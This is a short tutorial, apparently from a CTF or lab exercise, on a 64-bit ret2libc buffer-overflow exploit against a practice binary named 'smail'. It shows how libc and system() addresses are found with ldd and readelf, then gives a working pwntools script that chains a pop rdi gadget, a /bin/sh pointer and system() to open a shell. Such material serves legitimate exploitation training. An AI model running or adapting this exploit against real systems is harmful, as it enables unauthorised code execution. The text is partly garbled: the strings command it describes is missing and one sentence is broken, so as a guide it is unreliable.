ret2libc - 64-bit Exploit
A ret2libc is based off the system function found within the C library. This function executes anything passed to it making it the best target. Another thing found within libc is the string /bin/sh; if you pass this string to system, it will pop a shell.
Getting Libc and its base
> ldd smail
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff79e2000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd3000)
Getting the location of system()
To call system, we obviously need its location in memory. We can use the readelf command for this.
> readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
1403: 000000000004f550 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
Getting the location of /bin/sh
Since /bin/sh is just a string, we can use strings on the dynamic library we just found with ldd. Note that when passing strings as parameters you need to pass a pointer to the string, not the hex representation of the string, because that's how C expects it.
-a tells it to scan the entire file; -t x tells it to output the offset in hex.RDI register
You will have to use a pop rdi; ret gadget to put it into the RDI register.
Besides those functions the return address were should be included
Exploit
from pwn import *
p = process('./smail')
libc_base = 0x00007ffff79e2000
system = libc_base + 0x4f550
binsh = libc_base + 0x1b3e1a
POP_RDI = 0x4007f3
payload = b'A' * 72 # The padding
payload += p64(0x400556)
payload += p64(POP_RDI) # gadget -> pop rdi; ret
payload += p64(binsh) # pointer to command: /bin/sh
payload += p64(system) # Location of system
payload += p64(0x0) # return pointer - not important once we get the shell
p.clean()
p.sendline("2") # target specific
p.sendline(payload)
p.interactive()